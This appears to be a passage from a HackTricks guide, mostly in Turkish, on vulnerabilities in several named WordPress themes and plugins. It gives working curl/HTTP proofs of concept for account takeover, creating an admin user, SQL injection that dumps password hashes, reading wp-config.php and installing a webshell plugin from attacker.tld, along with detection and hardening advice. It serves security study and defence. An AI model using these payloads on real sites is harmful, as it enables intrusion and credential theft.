Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Birçok tema/eklenti, admin-ajax.php üzerinden erişilebilen “social login” yardımcıları içerir. Eğer kimlik doğrulanmamış bir AJAX action (wp_ajax_nopriv_…) sağlayıcı verisi eksik olduğunda istemci tarafından sağlanan tanımlayıcıları güvenir ve ardından wp_set_auth_cookie() çağırırsa, bu tam bir authentication bypass’a dönüşür.
Typical flawed pattern (simplified)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Neden istismar edilebilir
- admin-ajax.php üzerinden kimlik doğrulaması olmadan erişim (wp_ajax_nopriv_… action).
- Durum değişikliğinden önce nonce/capability kontrolleri yok.
- OAuth/OpenID sağlayıcı doğrulaması eksik; default branch saldırgan girdisini kabul ediyor.
- get_user_by(‘email’, $_POST[‘id’])’den sonra wp_set_auth_cookie($uid) çağrısı, isteği yapanı mevcut herhangi bir e-posta adresi olarak kimliklendiriyor.
İstismar (kimlik doğrulamasız)
- Önkoşullar: saldırgan /wp-admin/admin-ajax.php’ye erişebiliyor ve geçerli bir kullanıcı e-posta adresini biliyor/tahmin ediyor.
- Provider’ı desteklenmeyen bir değere ayarlayın (veya hiç göndermeyin) böylece default branch’e düşüp id=<victim_email> gönderin.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Beklenen başarı göstergeleri
- HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* mağdur kullanıcı için; sonraki istekler kimlik doğrulanmış olur.
Finding the action name
- Tema/plugini, social login kodunda add_action(‘wp_ajax_nopriv_…’, ‘…’) kayıtları için inceleyin (ör. framework/add-ons/social-login/class-social-login.php).
- AJAX handler’larında wp_set_auth_cookie(), get_user_by(‘email’, …) için grep yapın.
Detection checklist
- Web günlükleri, social-login action ve id=
ile /wp-admin/admin-ajax.php’ye yapılmış kimlik doğrulanmamış POST’ları gösteriyor. - Aynı IP/User-Agent’ten gelen yetkili trafiğin hemen öncesinde success JSON içeren 200 yanıtlar.
Hardening
- Kimliği istemci girdisinden türetmeyin. Yalnızca doğrulanmış sağlayıcı token/ID’den kaynaklanan email/ID’leri kabul edin.
- Giriş yardımcıları için bile CSRF nonces ve capability kontrollerini zorunlu kılın; wp_ajax_nopriv_ kaydından kaçının (sadece gerekli ise).
- OAuth/OIDC cevaplarını sunucu tarafında doğrulayın ve teyit edin; eksik/geçersiz sağlayıcıları reddedin (POST id’ye geri dönüş olmasın).
- Düzeltme yapılana kadar social login’i geçici olarak devre dışı bırakmayı veya kenarda sanal bir patch ile (zayıf action’ı engelleyerek) önlem almayı düşünün.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Bazı eklentiler, çağıranın yetkilerini doğrulamadan yeniden kullanılabilir “connection keys” veya tokenlar üreten REST endpoint’leri açığa çıkarır. Eğer rota yalnızca tahmin edilebilir bir özniteliğe (ör. username) göre kimlik doğrulaması yapıyor ve anahtarı yetki kontrolleriyle bir kullanıcı/oturuma bağlamıyorsa, herhangi bir kimlik doğrulanmamış saldırgan bir anahtar mintleyebilir ve ayrıcalıklı eylemleri tetikleyebilir (admin hesap oluşturma, plugin eylemleri → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – bir connection key mintleyin ve kullanın
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Neden sömürülebilir
- Hassas REST route yalnızca düşük-entropili kimlik kanıtı (username) ile korunuyor veya permission_callback eksik
- Yetki denetimi yok; oluşturulan anahtar evrensel bir atlatma olarak kabul ediliyor
Tespit kontrol listesi
- register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ]) için plugin kodunda grep yapın
- İstemci tarafından sağlanan kimliğe (username/email) dayalı token/anahtar veren ve bunları kimlik doğrulanmış bir kullanıcıya veya capability’e bağlamayan herhangi bir route
- Sunucu tarafı capability kontrolleri olmadan oluşturulan token/anahtarı kabul eden sonraki route’ları arayın
Sertleştirme
- Herhangi bir ayrıcalıklı REST route için: gerekli capability için current_user_can()’ı uygulayan bir permission_callback zorunlu kılın
- İstemci tarafından sağlanan kimlikten uzun ömürlü anahtarlar oluşturmayın; gerekliyse, kimlik doğrulamadan sonra kısa ömürlü, kullanıcıya bağlı tokenler çıkarın ve kullanımda capability’leri yeniden kontrol edin
- Çağıranın kullanıcı bağlamını doğrulayın (wp_set_current_user tek başına yeterli değildir) ve !is_user_logged_in() || !current_user_can(
) koşulunda istekleri reddedin
Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces prevent CSRF, not authorization. Eğer kod bir nonce onayını yeşil ışık olarak kabul edip ardından ayrıcalıklı işlemler için capability kontrollerini atlıyorsa (ör., install/activate plugins), kimlik doğrulanmamış saldırganlar zayıf bir nonce gereksinimini karşılayıp arka kapılı veya zafiyetli bir plugin yükleyerek RCE’ye ulaşabilir.
- Etkilenen yol: plugin/install_and_activate
- Hata: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
- Etkisi: rastgele plugin install/activation ile tam ele geçirme
PoC (yapı plugin’e bağlıdır; sadece açıklayıcıdır)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- Sadece wp_verify_nonce()/check_admin_referer() kullanan ve herhangi bir capability kontrolü olmayan plugins/themes’i değiştiren REST/AJAX işleyicileri
- Nonce doğrulamasından sonra $skip_caps = true olarak ayarlayan herhangi bir kod yolu
Hardening
- Nonces’ları her zaman sadece CSRF token’ı olarak değerlendirin; nonce durumundan bağımsız olarak capability kontrollerini zorunlu kılın
- Installer koduna ulaşılmadan önce current_user_can(‘install_plugins’) ve current_user_can(‘activate_plugins’) gerektirilsin
- Kimliği doğrulanmamış erişimi reddedin; ayrıcalıklı akışlar için nopriv AJAX action’larını açığa çıkarmaktan kaçının
Subscriber+ AJAX plugin installer → zorla kötü amaçlı aktivasyon (Motors Theme ≤ 5.6.81)
Patchstack’s analysis showed how the Motors theme ships an authenticated AJAX helper for installing its companion plugin:
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- Only
check_ajax_referer()is called; there is nocurrent_user_can('install_plugins')orcurrent_user_can('activate_plugins'). - The nonce is embedded in the Motors admin page, so any Subscriber that can open
/wp-admin/can copy it from the HTML/JS. - The handler trusts the attacker-controlled
pluginparameter (read from$_GET) and passes it intoPlugin_Upgrader::install(), so an arbitrary remote ZIP is downloaded intowp-content/plugins/. - After installation the theme unconditionally calls
mvl_theme_activate_plugin(), guaranteeing execution of the attacker plugin’s PHP code.
İstismar akışı
- Düşük ayrıcalıklı bir hesap oluşturun/ele geçirin (Subscriber yeterlidir) ve Motors dashboard UI’sinden
mvl_theme_install_basenonce’unu alın. - Top-level dizini beklenen slug ile eşleşen bir plugin ZIP oluşturun:
motors-car-dealership-classified-listings/ve*.phpentry points içine bir backdoor veya webshell gömün. - ZIP’i barındırın ve installer’ı tetiklemek için handler’ı URL’inize yönlendirin:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
Çünkü işleyici $_GET['plugin'] öğesini okuduğu için aynı payload sorgu dizesi aracılığıyla da gönderilebilir.
Detection checklist
- Temalar/eklentiler içinde
Plugin_Upgrader,Theme_Upgraderveya yetki kontrolleri olmadanwp_ajax_*hook’larına bağlı özelinstall_plugin.phpyardımcılarını ara. - Bir
plugin,package,sourceveyaurlparametresi alıp bunu upgrader API’larına veren herhangi bir işleyiciyi inceleyin; özellikle slug sabit kodlanmış ama ZIP içeriği doğrulanmıyorsa. - Yükleyici işlemleri için nonce’ları açığa çıkaran yönetici sayfalarını gözden geçirin—eğer Subscribers sayfayı yükleyebiliyorsa, nonce’un leak olduğunu varsayın.
Hardening
- Nonce doğrulamasından sonra installer AJAX callback’lerini
current_user_can('install_plugins')vecurrent_user_can('activate_plugins')ile sınırlandırın; Motors 5.6.82 bu hatayı düzeltmek için bu kontrolü ekledi. - Güvenilmeyen URL’leri reddedin: yükleyicileri paketlenmiş ZIP’ler veya güvenilir depolar ile sınırlayın ya da imzalanmış indirme manifestolarını zorunlu kılın.
- Nonce’ları katı şekilde CSRF tokenleri olarak ele alın; bunlar yetkilendirme sağlamaz ve asla yetki kontrollerinin yerine geçmemelidir.
Yetkilendirmesiz SQLi depicter-* eylemlerindeki s arama parametresi aracılığıyla (Depicter Slider ≤ 3.6.1)
Birden fazla depicter-* eylemi s (search) parametresini kullanıyor ve bunu parametreleştirme olmadan SQL sorgularına ekliyordu.
- Parameter: s (search)
- Flaw: WHERE/LIKE ifadelerinde doğrudan string birleştirme; prepared statements/sanitization yok
- Impact: veritabanı exfiltration (kullanıcılar, hash’ler), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- depicter-* action handler’larını ve SQL içinde $_GET[‘s’] veya $_POST[‘s’] doğrudan kullanımını ara
- $wpdb->get_results()/query() aracılığıyla s’yi birleştirerek geçen özel sorguları incele
Hardening
- Her zaman $wpdb->prepare() veya wpdb placeholders kullan; sunucu tarafında beklenmeyen metakarakterleri reddet
- s için sıkı bir allowlist ekle ve beklenen charset/uzunluğa normalize et
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Normalization/containment olmadan template parametresinde attacker-controlled path’ları kabul etmek, rastgele local dosyaların okunmasına izin verir ve includable PHP/log dosyaları runtime’a çekilirse bazen kod yürütülmesine yol açabilir.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: no normalization/allowlisting; traversal permitted
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
PoC – wp-config.php oku
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Detection checklist
- İstek yollarını include()/require()/read sink’larına realpath() ile sınırlandırma olmadan birleştiren herhangi bir handler
- Hedeflenen şablonlar dizininin dışına çıkan traversal desenleri (../) arayın
Hardening
- İzin verilen şablonları zorunlu kılın; realpath() ile çözümleyin ve require str_starts_with(realpath(file), realpath(allowed_base))
- Girdiyi normalize edin; traversal dizilerini ve mutlak yolları reddedin; sanitize_file_name() yalnızca dosya adları için kullanın (tam yollar için değil)
Referanslar
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


